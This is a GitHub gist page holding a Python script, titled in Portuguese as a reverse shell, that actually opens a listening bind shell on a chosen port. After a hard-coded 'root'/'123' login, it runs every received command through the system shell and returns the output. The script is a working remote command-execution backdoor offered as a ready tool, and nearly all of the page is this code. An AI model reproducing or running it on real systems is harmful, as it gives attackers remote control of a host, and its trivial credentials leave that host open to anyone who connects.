Skip to content

Instantly share code, notes, and snippets.

@nenodias
Last active September 3, 2016 13:20
Show Gist options
  • Select an option

  • Save nenodias/b3ee288f78970e53002abf0656d986f5 to your computer and use it in GitHub Desktop.

Select an option

Save nenodias/b3ee288f78970e53002abf0656d986f5 to your computer and use it in GitHub Desktop.
Shell Reverso em Python (Python 2.7 and Python3)
# -*- coding: utf-8 -*-
import socket
import subprocess as sub
import sys, pdb
try:
#Para o Python 2
reload(sys)
sys.setdefaultencoding('utf8')
except Exception:
pass
class Conexao():
def __init__(self, conexao):
self.conexao = conexao
def input(self, mensagem):
self.printl(mensagem)
ler = self.conexao.recv(2048)
retorno = ler.decode().split('\n')[0]
return retorno
def printl(self, mensagem):
self.conexao.send(mensagem.encode())
def executar(self, comando):
if isinstance(comando, str):
comando = bytes(comando, 'utf-8')
executar = sub.Popen(comando, shell=True, stdout=sub.PIPE)
retorno = executar.communicate()[0]
return retorno.decode()
porta = 2222
if '-p' in sys.argv:
indice = sys.argv.index('-p')
indice += 1
if indice < len(sys.argv):
porta = int(sys.argv[indice])
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Servidor ouvindo porta %s'%(porta))
s.bind(('0.0.0.0',porta))
s.listen(1)
try:
conn, addr = s.accept()
c = Conexao(conn)
autenticado = False
while True:
if not autenticado:
comando = c.input('Digite o Login:')
if comando == 'root':
senha = c.input('Digite a senha:')
if senha == '123':
c.printl('Você está logado\n')
autenticado = True
continue
c.printl('Usuário ou senha inválidos\n')
break
comando = c.input('>>>:')
if comando == 'exit':
break
retorno = c.executar(comando)
c.printl( retorno )
except Exception as ex:
print(ex)
pass
finally:
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment